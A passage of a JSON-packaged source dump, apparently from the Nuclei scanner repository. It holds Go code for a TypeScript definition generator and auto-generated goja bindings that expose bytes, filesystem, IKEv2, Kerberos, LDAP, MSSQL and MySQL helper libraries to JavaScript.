\"void\"\n\t\t}\n\t\tif strings.Contains(out, \"interface{}\") {\n\t\t\tout = strings.ReplaceAll(out, \"interface{}\", \"any\")\n\t\t}\n\t}()\n\tvar returns []string\n\tif fn.Type.Results != nil && len(fn.Type.Results.List) > 0 {\n\t\tfor _, result := range fn.Type.Results.List {\n\t\t\ttmp := exprToString(result.Type)\n\t\t\tif strings.Contains(tmp, \".\") && !strings.HasPrefix(tmp, \"goja.\") {\n\t\t\t\ttmp = p.handleExternalStruct(tmp) + \" | null\" // external object interfaces can always return null\n\t\t\t}\n\t\t\treturns = append(returns, tmp)\n\t\t}\n\t}\n\tif len(returns) == 1 {\n\t\tval := returns[0]\n\t\tval = strings.TrimPrefix(val, \"*\")\n\t\tif val == \"error\" {\n\t\t\tout = \"void\"\n\t\t} else {\n\t\t\tout = val\n\t\t}\n\t\treturn\n\t}\n\tif len(returns) > 1 {\n\t\t// in goja we stick 2 only 2 values with one being error\n\t\tfor _, val := range returns {\n\t\t\tval = strings.TrimPrefix(val, \"*\")\n\t\t\tif val != \"error\" {\n\t\t\t\tout = val\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif sliceutil.Contains(returns, \"error\") {\n\t\t\t// add | null to the return type\n\t\t\tout = out + \" | null\"\n\t\t\treturn\n\t\t}\n\t}\n\treturn \"void\"\n}\n\n// example: Map[string][]string -> Record<string, string[]>\nfunc convertMaptoRecord(input string) (out string) {\n\tvar key, value string\n\tinput = strings.TrimPrefix(input, \"Map[\")\n\tkey = input[:strings.Index(input, \"]\")]\n\tvalue = input[strings.Index(input, \"]\")+1:]\n\treturn \"Record<\" + toTsTypes(key) + \", \" + toTsTypes(value) + \">\"\n}\n\n// extractParameters extracts all parameters from the given function\nfunc (p *EntityParser) extractParameters(fn *ast.FuncDecl) []Parameter {\n\tvar parameters []Parameter\n\tfor _, param := range fn.Type.Params.List {\n\t\t// get the parameter name\n\t\tname := param.Names[0].Name\n\t\t// get the parameter type\n\t\ttyp := exprToString(param.Type)\n\t\tif strings.Contains(typ, \".\") {\n\t\t\t// replace with any\n\t\t\t// we do not support or encourage passing external structs as parameters\n\t\t\ttyp = \"any\"\n\t\t}\n\t\t// add the parameter to the list of parameters\n\t\tparameters = append(parameters, Parameter{\n\t\t\tName: name,\n\t\t\tType: toTsTypes(typ),\n\t\t})\n\t}\n\treturn parameters\n}\n\n// typeName is in format ssh.ClientConfig\n// it first fetches all fields from the struct and creates a new object\n// with that name and returns name of that object as type\nfunc (p *EntityParser) handleExternalStruct(typeName string) string {\n\tbaseType := typeName[strings.LastIndex(typeName, \".\")+1:]\n\tp.newObjects[typeName] = &Entity{\n\t\tName:        baseType,\n\t\tType:        \"interface\",\n\t\tDescription: baseType + \" Object\",\n\t}\n\t// @tarunKoyalwar: scrape and create new object\n\t// pkg := pkgMap[strings.Split(tmp, \".\")[0]]\n\t// if pkg == nil {\n\t// \tfor k := range pkgMap {\n\t// \t\tfmt.Println(k)\n\t// \t}\n\t// \tpanic(\"package not found\")\n\t// }\n\t// props, err := extractFieldsFromType(pkg, tmp[strings.LastIndex(tmp, \".\")+1:])\n\t// if err != nil {\n\t// \tpanic(err)\n\t// }\n\t// // newObject := Entity{\n\t// // \tName: tmp[strings.LastIndex(tmp, \".\")+1:],\n\t// // \tType: \"interface\",\n\t// // \tObject: Object{\n\t// // \t\tProperties: props,\n\t// // \t},\n\t// // }\n\t// fmt.Println(props)\n\treturn baseType\n}\n\n// extractStructTypes extracts all struct types from the AST\nfunc (p *EntityParser) extractStructTypes() {\n\tfor _, file := range p.syntax {\n\t\tast.Inspect(file, func(n ast.Node) bool {\n\t\t\t// Check if the node is a type specification (which includes structs)\n\t\t\ttypeSpec, ok := n.(*ast.TypeSpec)\n\t\t\tif ok {\n\t\t\t\t// Check if the type specification is a struct type\n\t\t\t\t_, ok := typeSpec.Type.(*ast.StructType)\n\t\t\t\tif ok {\n\t\t\t\t\t// Add the struct name to the list of struct names\n\t\t\t\t\tp.structTypes[typeSpec.Name.Name] = Entity{\n\t\t\t\t\t\tName:        typeSpec.Name.Name,\n\t\t\t\t\t\tDescription: typeSpec.Doc.Text(),\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Continue traversing the AST\n\t\t\treturn true\n\t\t})\n\t}\n\n}\n\n// extraGlobalConstant and vars\nfunc (p *EntityParser) extractVarsNConstants() {\n\tp.vars = []Entity{}\n\tfor _, file := range p.syntax {\n\t\tast.Inspect(file, func(n ast.Node) bool {\n\t\t\t// Check if the node is a type specification (which includes structs)\n\t\t\tgen, ok := n.(*ast.GenDecl)\n\t\t\tif !ok {\n\t\t\t\treturn true\n\t\t\t}\n\t\t\tfor _, v := range gen.Specs {\n\t\t\t\tswitch spec := v.(type) {\n\t\t\t\tcase *ast.ValueSpec:\n\t\t\t\t\tif !spec.Names[0].IsExported() {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif len(spec.Values) == 0 {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\t// get comments or description\n\t\t\t\t\tp.vars = append(p.vars, Entity{\n\t\t\t\t\t\tName:        spec.Names[0].Name,\n\t\t\t\t\t\tType:        \"const\",\n\t\t\t\t\t\tDescription: strings.TrimSpace(spec.Comment.Text()),\n\t\t\t\t\t\tValue:       spec.Values[0].(*ast.BasicLit).Value,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Continue traversing the AST\n\t\t\treturn true\n\t\t})\n\t}\n}\n\n// loadImportedPackages loads all imported packages\nfunc (p *EntityParser) loadImportedPackages() error {\n\t// get all import statements\n\t// iterate over all imports\n\tfor _, file := range p.syntax {\n\t\tfor _, imp := range file.Imports {\n\t\t\t// get the package path\n\t\t\tpath := imp.Path.Value\n\t\t\t// remove the quotes from the path\n\t\t\tpath = path[1 : len(path)-1]\n\t\t\t// load the package\n\t\t\tpkg, err := loadPackage(path)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\timportName := path[strings.LastIndex(path, \"/\")+1:]\n\t\t\tif imp.Name != nil {\n\t\t\t\timportName = imp.Name.Name\n\t\t\t} else {\n\t\t\t\tif !strings.HasSuffix(imp.Path.Value, pkg.Types.Name()+`\"`) {\n\t\t\t\t\timportName = pkg.Types.Name()\n\t\t\t\t}\n\t\t\t}\n\t\t\t// add the package to the map\n\t\t\tif _, ok := p.imports[importName]; !ok {\n\t\t\t\tp.imports[importName] = pkg\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// Load the package containing the type definition\n// TODO: we don't support named imports yet\nfunc loadPackage(pkgPath string) (*packages.Package, error) {\n\tcfg := &packages.Config{Mode: packages.NeedTypes | packages.NeedSyntax | packages.NeedTypesInfo}\n\tpkgs, err := packages.Load(cfg, pkgPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(pkgs) == 0 {\n\t\treturn nil, errors.New(\"no packages found\")\n\t}\n\treturn pkgs[0], nil\n}\n\n// exprToString converts an expression to a string\nfunc updateFuncWithConstructorSig(sig string, f Function) Function {\n\tsig = strings.TrimSpace(sig)\n\tf.Parameters = []Parameter{}\n\tf.CanFail = true\n\tf.ReturnStmt = \"\"\n\tf.Returns = \"\"\n\tif sig == \"\" {\n\t\treturn f\n\t}\n\t// example: constructor(public domain: string, public controller?: string)\n\t// remove constructor( and )\n\tsig = strings.TrimPrefix(sig, \"constructor(\")\n\tsig = strings.TrimSuffix(sig, \")\")\n\t// split by comma\n\targs := strings.Split(sig, \",\")\n\tfor _, arg := range args {\n\t\targ = strings.TrimSpace(arg)\n\t\t// check if it is optional\n\t\ttypeData := strings.Split(arg, \":\")\n\t\tif len(typeData) != 2 {\n\t\t\tpanic(\"invalid constructor signature\")\n\t\t}\n\t\tf.Parameters = append(f.Parameters, Parameter{\n\t\t\tName: strings.TrimSpace(typeData[0]),\n\t\t\tType: strings.TrimSpace(typeData[1]),\n\t\t})\n\t}\n\treturn f\n}\n"
  },
  {
    "path": "pkg/js/devtools/tsgen/scrape.go",
    "content": "package tsgen\n\nimport (\n\t\"fmt\"\n\t\"go/types\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\n// scrape.go scrapes all information of exported type from different package\n\nfunc (p *EntityParser) scrapeAndCreate(typeName string) error {\n\tif p.newObjects[typeName] == nil {\n\t\treturn nil\n\t}\n\t// get package name\n\tpkgName := strings.Split(typeName, \".\")[0]\n\tbaseTypeName := strings.Split(typeName, \".\")[1]\n\t// get package\n\tpkg, ok := p.imports[pkgName]\n\tif !ok {\n\t\treturn errkit.Newf(\"package %v for type %v not found\", pkgName, typeName)\n\t}\n\t// get type\n\tobj := pkg.Types.Scope().Lookup(baseTypeName)\n\tif obj == nil {\n\t\treturn errkit.Newf(\"type %v not found in package %+v\", typeName, pkg)\n\t}\n\t// Ensure the object is a type name\n\ttypeNameObj, ok := obj.(*types.TypeName)\n\tif !ok {\n\t\treturn errkit.Newf(\"%v is not a type name\", typeName)\n\t}\n\t// Ensure the type is a named struct type\n\tnamedStruct, ok := typeNameObj.Type().Underlying().(*types.Struct)\n\tif !ok {\n\t\treturn fmt.Errorf(\"%s is not a named struct type\", typeName)\n\t}\n\t// fmt.Printf(\"got named struct %v\\n\", namedStruct)\n\t// Iterate over the struct fields\n\td := &ExtObject{\n\t\tbuiltIn: make(map[string]string),\n\t\tnested:  map[string]map[string]*ExtObject{},\n\t}\n\n\t// fmt.Printf(\"fields %v\\n\", namedStruct.NumFields())\n\tfor i := 0; i < namedStruct.NumFields(); i++ {\n\t\tfield := namedStruct.Field(i)\n\t\tfieldName := field.Name()\n\t\tif field.Exported() {\n\t\t\trecursiveScrapeType(nil, fieldName, field.Type(), d)\n\t\t}\n\t}\n\tentityMap := make(map[string]Entity)\n\t// convert ExtObject to Entity\n\tproperties := ConvertExtObjectToEntities(d, entityMap)\n\tentityMap[baseTypeName] = Entity{\n\t\tName:        baseTypeName,\n\t\tType:        \"interface\",\n\t\tDescription: fmt.Sprintf(\"%v Interface\", baseTypeName),\n\t\tObject: Interface{\n\t\t\tProperties: properties,\n\t\t},\n\t}\n\n\tfor _, entity := range entityMap {\n\t\tp.entities = append(p.entities, entity)\n\t}\n\n\treturn nil\n}\n\ntype ExtObject struct {\n\tbuiltIn map[string]string\n\tnested  map[string]map[string]*ExtObject // Changed to map of field names to ExtObject\n}\n\nfunc recursiveScrapeType(parentType types.Type, fieldName string, fieldType types.Type, extObject *ExtObject) {\n\tif named, ok := fieldType.(*types.Named); ok && !named.Obj().Exported() {\n\t\t// fmt.Printf(\"type %v is not exported\\n\", named.Obj().Name())\n\t\treturn\n\t}\n\n\tif fieldType.String() == \"time.Time\" {\n\t\textObject.builtIn[fieldName] = \"Date\"\n\t\treturn\n\t}\n\n\tswitch t := fieldType.Underlying().(type) {\n\tcase *types.Pointer:\n\t\t// fmt.Printf(\"type %v is a pointer\\n\", fieldType)\n\t\trecursiveScrapeType(nil, fieldName, t.Elem(), extObject)\n\tcase *types.Signature:\n\t\t// fmt.Printf(\"type %v is a callback or interface\\n\", fieldType)\n\tcase *types.Basic:\n\t\t// Check for basic types (built-in types)\n\t\tif parentType != nil {\n\t\t\tswitch p := parentType.Underlying().(type) {\n\t\t\tcase *types.Slice:\n\t\t\t\textObject.builtIn[fieldName] = \"[]\" + fieldType.String()\n\t\t\tcase *types.Array:\n\t\t\t\textObject.builtIn[fieldName] = fmt.Sprintf(\"[%v]\", p.Len()) + fieldType.String()\n\t\t\t}\n\t\t} else {\n\t\t\textObject.builtIn[fieldName] = fieldType.String()\n\t\t}\n\tcase *types.Struct:\n\t\t// Check for struct types\n\t\tif extObject.nested[fieldName] == nil {\n\t\t\t// @tarunKoyalwar: it currently does not supported struct arrays\n\t\t\textObject.nested[fieldName] = make(map[string]*ExtObject)\n\t\t}\n\t\tnestedExtObject := &ExtObject{\n\t\t\tbuiltIn: make(map[string]string),\n\t\t\tnested:  map[string]map[string]*ExtObject{},\n\t\t}\n\t\textObject.nested[fieldName][fieldType.String()] = nestedExtObject\n\t\tfor i := 0; i < t.NumFields(); i++ {\n\t\t\tfield := t.Field(i)\n\t\t\tif field.Exported() {\n\t\t\t\trecursiveScrapeType(nil, field.Name(), field.Type(), nestedExtObject)\n\t\t\t}\n\t\t}\n\tcase *types.Array:\n\t\t// fmt.Printf(\"type %v is an array\\n\", fieldType)\n\t\t// get array type\n\t\trecursiveScrapeType(t, fieldName, t.Elem(), extObject)\n\tcase *types.Slice:\n\t\t// fmt.Printf(\"type %v is a slice\\n\", fieldType)\n\t\t// get slice type\n\t\trecursiveScrapeType(t, fieldName, t.Elem(), extObject)\n\tdefault:\n\t\t// fmt.Printf(\"type %v is not a builtIn or struct\\n\", fieldType)\n\t}\n}\n\nvar re = regexp.MustCompile(`\\[[0-9]+\\].*`)\n\n// ConvertExtObjectToEntities recursively converts an ExtObject to a list of Entity objects\nfunc ConvertExtObjectToEntities(extObj *ExtObject, nestedTypes map[string]Entity) []Property {\n\tvar properties []Property\n\n\t// Iterate over the built-in types\n\tfor fieldName, fieldType := range extObj.builtIn {\n\t\tvar description string\n\t\tif re.MatchString(fieldType) {\n\t\t\t// if it is a fixed size array add len in description\n\t\t\tdescription = fmt.Sprintf(\"fixed size array of length: %v\", fieldType[:strings.Index(fieldType, \"]\")+1])\n\t\t\t// remove length from type\n\t\t\tfieldType = \"[]\" + fieldType[strings.Index(fieldType, \"]\")+1:]\n\t\t}\n\t\tif strings.Contains(fieldType, \"time.Duration\") {\n\t\t\tdescription = \"time in nanoseconds\"\n\t\t}\n\t\tpx := Property{\n\t\t\tName:        fieldName,\n\t\t\tType:        toTsTypes(fieldType),\n\t\t\tDescription: description,\n\t\t}\n\n\t\tif strings.HasPrefix(px.Type, \"[\") {\n\t\t\tpx.Type = fieldType[strings.Index(px.Type, \"]\")+1:] + \"[]\"\n\t\t}\n\t\tproperties = append(properties, px)\n\t}\n\n\t// Iterate over the nested types\n\tfor fieldName, nestedExtObjects := range extObj.nested {\n\t\tfor origType, nestedExtObject := range nestedExtObjects {\n\t\t\t// fix:me this nestedExtObject always has only one element\n\t\t\tgot := ConvertExtObjectToEntities(nestedExtObject, nestedTypes)\n\t\t\tbaseTypename := origType[strings.LastIndex(origType, \".\")+1:]\n\t\t\t// create new nestedType\n\t\t\tnestedTypes[baseTypename] = Entity{\n\t\t\t\tName:        baseTypename,\n\t\t\t\tDescription: fmt.Sprintf(\"%v Interface\", baseTypename),\n\t\t\t\tType:        \"interface\",\n\t\t\t\tObject: Interface{\n\t\t\t\t\tProperties: got,\n\t\t\t\t},\n\t\t\t}\n\t\t\t// assign current field type to nested type\n\t\t\tproperties = append(properties, Property{\n\t\t\t\tName: fieldName,\n\t\t\t\tType: baseTypename,\n\t\t\t})\n\t\t}\n\t}\n\treturn properties\n}\n"
  },
  {
    "path": "pkg/js/devtools/tsgen/types.go",
    "content": "package tsgen\n\n// Define a struct to hold information about your TypeScript entities\ntype Entity struct {\n\tName          string\n\tValue         string\n\tType          string // \"class\", \"function\", or \"object\" or \"interface\" or \"const\"\n\tDescription   string\n\tExample       string    // this will be part of description with @example jsdoc tag\n\tClass         Class     // if Type == \"class\"\n\tFunction      Function  // if Type == \"function\"\n\tObject        Interface // if Type == \"object\"\n\tIsConstructor bool      // true if this is a constructor function\n}\n\n// Class represents a TypeScript class data structure\ntype Class struct {\n\tProperties  []Property\n\tMethods     []Method\n\tConstructor Function\n}\n\n// Function represents a TypeScript function data structure\n// If CanFail is true, the function returns a Result<T, E> type\n// So modify the function signature to return a Result<T, E> type in this case\ntype Function struct {\n\tParameters []Parameter\n\tReturns    string\n\tCanFail    bool\n\tReturnStmt string\n}\n\ntype Interface struct {\n\tProperties []Property\n}\n\n// Method represents a TypeScript method data structure\n// If CanFail is true, the method returns a Result<T, E> type\n// So modify the method signature to return a Result<T, E> type in this case\ntype Method struct {\n\tName        string\n\tDescription string\n\tParameters  []Parameter\n\tReturns     string\n\tCanFail     bool\n\tReturnStmt  string\n}\n\n// Property represent class or object property\ntype Property struct {\n\tName        string\n\tType        string\n\tDescription string\n}\n\n// Parameter represents function or method parameter\ntype Parameter struct {\n\tName string\n\tType string\n}\n"
  },
  {
    "path": "pkg/js/generated/README.md",
    "content": "## generated\n\n!! Warning !! This is generated code, do not edit manually !!\n\nTo make any changes to this code, please refer to [bindgen](../devtools/bindgen/README.md)"
  },
  {
    "path": "pkg/js/generated/go/libbytes/bytes.go",
    "content": "package bytes\n\nimport (\n\tlib_bytes \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/bytes\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/bytes\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"NewBuffer\": lib_bytes.NewBuffer,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"Buffer\": lib_bytes.NewBuffer,\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libfs/fs.go",
    "content": "package fs\n\nimport (\n\tlib_fs \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/fs\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/fs\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"ListDir\":          lib_fs.ListDir,\n\t\t\t\"ReadFile\":         lib_fs.ReadFile,\n\t\t\t\"ReadFileAsString\": lib_fs.ReadFileAsString,\n\t\t\t\"ReadFilesFromDir\": lib_fs.ReadFilesFromDir,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libgoconsole/goconsole.go",
    "content": "package goconsole\n\nimport (\n\tlib_goconsole \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/goconsole\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/goconsole\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"NewGoConsolePrinter\": lib_goconsole.NewGoConsolePrinter,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"GoConsolePrinter\": gojs.GetClassConstructor[lib_goconsole.GoConsolePrinter](&lib_goconsole.GoConsolePrinter{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libikev2/ikev2.go",
    "content": "package ikev2\n\nimport (\n\tlib_ikev2 \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ikev2\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/ikev2\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\n\t\t\t// Var and consts\n\t\t\t\"IKE_EXCHANGE_AUTH\":             lib_ikev2.IKE_EXCHANGE_AUTH,\n\t\t\t\"IKE_EXCHANGE_CREATE_CHILD_SA\":  lib_ikev2.IKE_EXCHANGE_CREATE_CHILD_SA,\n\t\t\t\"IKE_EXCHANGE_INFORMATIONAL\":    lib_ikev2.IKE_EXCHANGE_INFORMATIONAL,\n\t\t\t\"IKE_EXCHANGE_SA_INIT\":          lib_ikev2.IKE_EXCHANGE_SA_INIT,\n\t\t\t\"IKE_FLAGS_InitiatorBitCheck\":   lib_ikev2.IKE_FLAGS_InitiatorBitCheck,\n\t\t\t\"IKE_NOTIFY_NO_PROPOSAL_CHOSEN\": lib_ikev2.IKE_NOTIFY_NO_PROPOSAL_CHOSEN,\n\t\t\t\"IKE_NOTIFY_USE_TRANSPORT_MODE\": lib_ikev2.IKE_NOTIFY_USE_TRANSPORT_MODE,\n\t\t\t\"IKE_VERSION_2\":                 lib_ikev2.IKE_VERSION_2,\n\n\t\t\t// Objects / Classes\n\t\t\t\"IKEMessage\":      gojs.GetClassConstructor[lib_ikev2.IKEMessage](&lib_ikev2.IKEMessage{}),\n\t\t\t\"IKENonce\":        gojs.GetClassConstructor[lib_ikev2.IKENonce](&lib_ikev2.IKENonce{}),\n\t\t\t\"IKENotification\": gojs.GetClassConstructor[lib_ikev2.IKENotification](&lib_ikev2.IKENotification{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libkerberos/kerberos.go",
    "content": "package kerberos\n\nimport (\n\tlib_kerberos \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/kerberos\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/kerberos\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"ASRepToHashcat\":              lib_kerberos.ASRepToHashcat,\n\t\t\t\"CheckKrbError\":               lib_kerberos.CheckKrbError,\n\t\t\t\"NewKerberosClient\":           lib_kerberos.NewKerberosClient,\n\t\t\t\"NewKerberosClientFromString\": lib_kerberos.NewKerberosClientFromString,\n\t\t\t\"SendToKDC\":                   lib_kerberos.SendToKDC,\n\t\t\t\"TGStoHashcat\":                lib_kerberos.TGStoHashcat,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"Client\":                lib_kerberos.NewKerberosClient,\n\t\t\t\"Config\":                gojs.GetClassConstructor[lib_kerberos.Config](&lib_kerberos.Config{}),\n\t\t\t\"EnumerateUserResponse\": gojs.GetClassConstructor[lib_kerberos.EnumerateUserResponse](&lib_kerberos.EnumerateUserResponse{}),\n\t\t\t\"TGS\":                   gojs.GetClassConstructor[lib_kerberos.TGS](&lib_kerberos.TGS{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libldap/ldap.go",
    "content": "package ldap\n\nimport (\n\tlib_ldap \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ldap\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/ldap\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"DecodeADTimestamp\":   lib_ldap.DecodeADTimestamp,\n\t\t\t\"DecodeSID\":           lib_ldap.DecodeSID,\n\t\t\t\"DecodeZuluTimestamp\": lib_ldap.DecodeZuluTimestamp,\n\t\t\t\"JoinFilters\":         lib_ldap.JoinFilters,\n\t\t\t\"NegativeFilter\":      lib_ldap.NegativeFilter,\n\t\t\t\"NewClient\":           lib_ldap.NewClient,\n\n\t\t\t// Var and consts\n\t\t\t\"FilterAccountDisabled\":            lib_ldap.FilterAccountDisabled,\n\t\t\t\"FilterAccountEnabled\":             lib_ldap.FilterAccountEnabled,\n\t\t\t\"FilterCanSendEncryptedPassword\":   lib_ldap.FilterCanSendEncryptedPassword,\n\t\t\t\"FilterDontExpirePassword\":         lib_ldap.FilterDontExpirePassword,\n\t\t\t\"FilterDontRequirePreauth\":         lib_ldap.FilterDontRequirePreauth,\n\t\t\t\"FilterHasServicePrincipalName\":    lib_ldap.FilterHasServicePrincipalName,\n\t\t\t\"FilterHomedirRequired\":            lib_ldap.FilterHomedirRequired,\n\t\t\t\"FilterInterdomainTrustAccount\":    lib_ldap.FilterInterdomainTrustAccount,\n\t\t\t\"FilterIsAdmin\":                    lib_ldap.FilterIsAdmin,\n\t\t\t\"FilterIsComputer\":                 lib_ldap.FilterIsComputer,\n\t\t\t\"FilterIsDuplicateAccount\":         lib_ldap.FilterIsDuplicateAccount,\n\t\t\t\"FilterIsGroup\":                    lib_ldap.FilterIsGroup,\n\t\t\t\"FilterIsNormalAccount\":            lib_ldap.FilterIsNormalAccount,\n\t\t\t\"FilterIsPerson\":                   lib_ldap.FilterIsPerson,\n\t\t\t\"FilterLockout\":                    lib_ldap.FilterLockout,\n\t\t\t\"FilterLogonScript\":                lib_ldap.FilterLogonScript,\n\t\t\t\"FilterMnsLogonAccount\":            lib_ldap.FilterMnsLogonAccount,\n\t\t\t\"FilterNotDelegated\":               lib_ldap.FilterNotDelegated,\n\t\t\t\"FilterPartialSecretsAccount\":      lib_ldap.FilterPartialSecretsAccount,\n\t\t\t\"FilterPasswordCantChange\":         lib_ldap.FilterPasswordCantChange,\n\t\t\t\"FilterPasswordExpired\":            lib_ldap.FilterPasswordExpired,\n\t\t\t\"FilterPasswordNotRequired\":        lib_ldap.FilterPasswordNotRequired,\n\t\t\t\"FilterServerTrustAccount\":         lib_ldap.FilterServerTrustAccount,\n\t\t\t\"FilterSmartCardRequired\":          lib_ldap.FilterSmartCardRequired,\n\t\t\t\"FilterTrustedForDelegation\":       lib_ldap.FilterTrustedForDelegation,\n\t\t\t\"FilterTrustedToAuthForDelegation\": lib_ldap.FilterTrustedToAuthForDelegation,\n\t\t\t\"FilterUseDesKeyOnly\":              lib_ldap.FilterUseDesKeyOnly,\n\t\t\t\"FilterWorkstationTrustAccount\":    lib_ldap.FilterWorkstationTrustAccount,\n\n\t\t\t// Objects / Classes\n\t\t\t\"Client\":         lib_ldap.NewClient,\n\t\t\t\"Config\":         gojs.GetClassConstructor[lib_ldap.Config](&lib_ldap.Config{}),\n\t\t\t\"LdapAttributes\": gojs.GetClassConstructor[lib_ldap.LdapAttributes](&lib_ldap.LdapAttributes{}),\n\t\t\t\"LdapEntry\":      gojs.GetClassConstructor[lib_ldap.LdapEntry](&lib_ldap.LdapEntry{}),\n\t\t\t\"Metadata\":       gojs.GetClassConstructor[lib_ldap.Metadata](&lib_ldap.Metadata{}),\n\t\t\t\"SearchResult\":   gojs.GetClassConstructor[lib_ldap.SearchResult](&lib_ldap.SearchResult{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libmssql/mssql.go",
    "content": "package mssql\n\nimport (\n\tlib_mssql \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mssql\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/mssql\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"MSSQLClient\": gojs.GetClassConstructor[lib_mssql.MSSQLClient](&lib_mssql.MSSQLClient{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libmysql/mysql.go",
    "content": "package mysql\n\nimport (\n\tlib_mysql \"github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mysql\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs\"\n)\n\nvar (\n\tmodule = gojs.NewGojaModule(\"nuclei/mysql\")\n)\n\nfunc init() {\n\tmodule.Set(\n\t\tgojs.Objects{\n\t\t\t// Functions\n\t\t\t\"BuildDSN\": lib_mysql.BuildDSN,\n\n\t\t\t// Var and consts\n\n\t\t\t// Objects / Classes\n\t\t\t\"MySQLClient\":  gojs.GetClassConstructor[lib_mysql.MySQLClient](&lib_mysql.MySQLClient{}),\n\t\t\t\"MySQLInfo\":    gojs.GetClassConstructor[lib_mysql.MySQLInfo](&lib_mysql.MySQLInfo{}),\n\t\t\t\"MySQLOptions\": gojs.GetClassConstructor[lib_mysql.MySQLOptions](&lib_mysql.MySQLOptions{}),\n\t\t},\n\t).Register()\n}\n\nfunc Enable(runtime *goja.Runtime) {\n\tmodule.Enable(runtime)\n}\n"
  },
  {
    "path": "pkg/js/generated/go/libnet/net.go",
